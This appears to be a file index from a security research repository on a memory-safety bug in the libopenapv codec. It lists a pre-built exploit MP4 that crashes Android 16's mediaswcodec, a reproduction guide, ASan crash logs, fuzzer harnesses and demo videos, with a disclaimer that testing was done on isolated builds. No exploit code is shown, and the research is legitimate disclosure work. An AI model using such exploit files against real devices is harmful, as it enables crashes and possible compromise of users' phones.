apv-mp4/overflow_auinfo.mp4 |
Pre-built exploit MP4 — crashes mediaswcodec on pre-patch Android 16 |
REPRODUCE.md |
Step-by-step reproduction guide |
asan_output.txt |
Captured ASan output from OOB Read PoC |
asan_oob_write_output.txt |
Captured ASan output from OOB Write PoC |
asan_mp4_output.txt |
Captured ASan output from MP4 PoC on ARM64 Android |
poc_output.txt |
Output from guard-region PoC (no ASan) |
fuzz_blackbox.c |
Blackbox fuzzer — dumb mutation, fork-isolated, finds crashes in seconds |
fuzz_whitebox.c |
Coverage-guided fuzzer — AFL-style edge tracking, corpus evolution |
fuzz_afl_harness.c |
AFL++ harness — standard file-input harness for AFL++ (instrumented or QEMU mode) |
fuzz_aflpp_random.c |
AFL++ random metadata fuzzer — accepts any file, feeds raw bytes to oapvd_info |
fuzz_libfuzzer.c |
libFuzzer harness — standard LLVMFuzzerTestOneInput entry point |
crash-apv.mp4 |
Demo video: exploit MP4 crashing mediaswcodec on Android 16 emulator |
poc-script-apv.mp4 |
Demo video: PoC script generating, pushing, and triggering the exploit |
This research was conducted for educational purposes on isolated test builds of the vulnerable library. All testing was performed against locally built binaries of the open-source libopenapv project. No production devices or systems were targeted.
Company
Registration:
97390453
VAT:
NL868032281B01